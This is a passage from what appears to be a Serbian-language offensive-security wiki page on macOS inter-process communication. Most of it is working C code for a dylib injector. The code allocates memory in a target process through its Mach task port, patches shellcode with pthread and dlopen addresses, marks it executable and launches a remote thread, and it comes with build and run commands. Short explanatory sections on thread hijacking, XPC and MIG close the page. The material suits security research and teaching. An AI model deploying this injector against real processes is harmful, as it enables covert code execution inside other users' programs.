mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
|
|
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
|
|
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
|
|
|
|
if (kr != KERN_SUCCESS)
|
|
{
|
|
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
|
|
return (-2);
|
|
}
|
|
else
|
|
{
|
|
|
|
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
|
|
}
|
|
|
|
// Allocate memory for the code
|
|
remoteCode64 = (vm_address_t) NULL;
|
|
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
|
|
|
|
if (kr != KERN_SUCCESS)
|
|
{
|
|
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
|
|
return (-2);
|
|
}
|
|
|
|
|
|
// Patch shellcode
|
|
|
|
int i = 0;
|
|
char *possiblePatchLocation = (injectedCode );
|
|
for (i = 0 ; i < 0x100; i++)
|
|
{
|
|
|
|
// Patching is crude, but works.
|
|
//
|
|
extern void *_pthread_set_self;
|
|
possiblePatchLocation++;
|
|
|
|
|
|
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
|
|
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
|
|
uint64_t addrOfDlopen = (uint64_t) dlopen;
|
|
|
|
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
|
|
{
|
|
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
|
|
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
|
|
}
|
|
|
|
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
|
|
{
|
|
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
|
|
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
|
|
}
|
|
|
|
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
|
|
{
|
|
printf ("DLOpen @%llx\n", addrOfDlopen);
|
|
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
|
|
}
|
|
|
|
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
|
|
{
|
|
strcpy(possiblePatchLocation, lib );
|
|
}
|
|
}
|
|
|
|
// Write the shellcode to the allocated memory
|
|
kr = mach_vm_write(remoteTask, // Task port
|
|
remoteCode64, // Virtual Address (Destination)
|
|
(vm_address_t) injectedCode, // Source
|
|
0xa9); // Length of the source
|
|
|
|
|
|
if (kr != KERN_SUCCESS)
|
|
{
|
|
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
|
|
return (-3);
|
|
}
|
|
|
|
|
|
// Set the permissions on the allocated code memory
|
|
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
|
|
|
if (kr != KERN_SUCCESS)
|
|
{
|
|
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
|
|
return (-4);
|
|
}
|
|
|
|
// Set the permissions on the allocated stack memory
|
|
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
|
|
|
if (kr != KERN_SUCCESS)
|
|
{
|
|
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
|
|
return (-4);
|
|
}
|
|
|
|
|
|
// Create thread to run shellcode
|
|
struct arm_unified_thread_state remoteThreadState64;
|
|
thread_act_t remoteThread;
|
|
|
|
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
|
|
|
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
|
|
//remoteStack64 -= 8; // need alignment of 16
|
|
|
|
const char* p = (const char*) remoteCode64;
|
|
|
|
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
|
|
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
|
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
|
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
|
|
|
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
|
|
|
|
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
|
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
|
|
|
|
if (kr != KERN_SUCCESS) {
|
|
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
|
|
return (-3);
|
|
}
|
|
|
|
return (0);
|
|
}
|
|
|
|
|
|
|
|
int main(int argc, const char * argv[])
|
|
{
|
|
if (argc < 3)
|
|
{
|
|
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
|
|
fprintf (stderr, " _action_: path to a dylib on disk\n");
|
|
exit(0);
|
|
}
|
|
|
|
pid_t pid = atoi(argv[1]);
|
|
const char *action = argv[2];
|
|
struct stat buf;
|
|
|
|
int rc = stat (action, &buf);
|
|
if (rc == 0) inject(pid,action);
|
|
else
|
|
{
|
|
fprintf(stderr,"Dylib not found\n");
|
|
}
|
|
|
|
}
|
|
```
|
|
</details>
|
|
```bash
|
|
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
|
./inject <pid-of-mysleep> </path/to/lib.dylib>
|
|
```
|
|
### Preuzimanje niti putem Task port <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
|
|
|
|
U ovoj tehnici se preuzima nit procesa:
|
|
|
|
|
|
{{#ref}}
|
|
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md
|
|
{{#endref}}
|
|
|
|
## XPC
|
|
|
|
### Osnovne informacije
|
|
|
|
XPC, što je skraćenica za XNU (jezgro koje koristi macOS) međuprocesna komunikacija, je okvir za **komunikaciju između procesa** na macOS-u i iOS-u. XPC pruža mehanizam za **sigurne, asinhrone pozive metoda između različitih procesa** na sistemu. To je deo Apple-ove sigurnosne paradigme, koja omogućava **kreiranje aplikacija sa odvojenim privilegijama** gde svaki **komponent** radi sa **samo onim dozvolama koje su mu potrebne** da obavi svoj posao, čime se ograničava potencijalna šteta od kompromitovanog procesa.
|
|
|
|
Za više informacija o tome kako ova **komunikacija funkcioniše** i kako bi mogla biti **ranjiva** proverite:
|
|
|
|
|
|
{{#ref}}
|
|
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/
|
|
{{#endref}}
|
|
|
|
## MIG - Mach Interface Generator
|
|
|
|
MIG je kreiran da **pojednostavi proces kreiranja Mach IPC** koda. U suštini, **generiše potrebni kod** za server i klijenta da komuniciraju sa datom definicijom. Čak i ako je generisani kod ružan, programer će samo morati da ga uveze i njegov kod će biti mnogo jednostavniji nego pre.
|
|
|
|
Za više informacija proverite:
|
|
|
|
|
|
{{#ref}}
|
|
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
|
|
{{#endref}}
|
|
|
|
## Reference
|
|
|
|
- [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
|
|
- [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
|
|
- [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
|
|
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
|
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
|
|
|
{{#include ../../../../banners/hacktricks-training.md}}
|